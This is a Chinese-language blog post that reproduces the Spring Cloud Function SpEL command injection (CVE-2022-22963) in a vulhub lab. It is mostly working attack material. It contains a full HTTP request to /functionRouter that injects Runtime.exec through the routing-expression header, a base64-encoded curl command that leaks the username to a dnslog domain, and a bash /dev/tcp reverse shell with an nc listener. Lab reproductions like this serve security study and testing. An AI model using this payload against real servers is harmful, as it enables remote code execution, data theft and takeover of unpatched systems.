Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)


Spring Cloud Function SpEL表达式命令注入

漏洞简述

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

环境搭建

cd /vulhub/spring/CVE-2022-22963
docker-compose up -d

漏洞复现

打开网站http://192.168.3.151:8080

image-20220507145015952

先用dnslog获取一个dns

mbehkf.dnslog.cn

image-20220507160404330

构造命令

curl `whoami`.kirjsf.dnslog.cn

base64编码

bash -c &#123;echo,Y3VybCBgd2hvYW1pYC5raXJqc2YuZG5zbG9nLmNuCg==&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;

image-20220507160417478

构造数据包

POST /functionRouter HTTP/1.1
Host:192.168.96.170:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c &#123;echo,Y3VybCBgd2hvYW1pYC5raXJqc2YuZG5zbG9nLmNuCg==&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;")
Content-Type: text/plain
Content-Length: 6

test

image-20220507160509318

发送过去

image-20220507160528008

过来了

构造反弹shell

bash -i >& /dev/tcp/192.168.3.134/4444 0>&1

base64编码

bash -c &#123;echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTM0LzQ0NDQgMD4mMQo=&#125;|&#123;base64,-d&#125;|&#123;bash,-i&#125;

用nc监听端口

nc -lvvp 4444

然后把命令扔进去,发送数据包

image-20220507160905195

过去了

image-20220507160932257

成功反弹shell!

结束!!


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录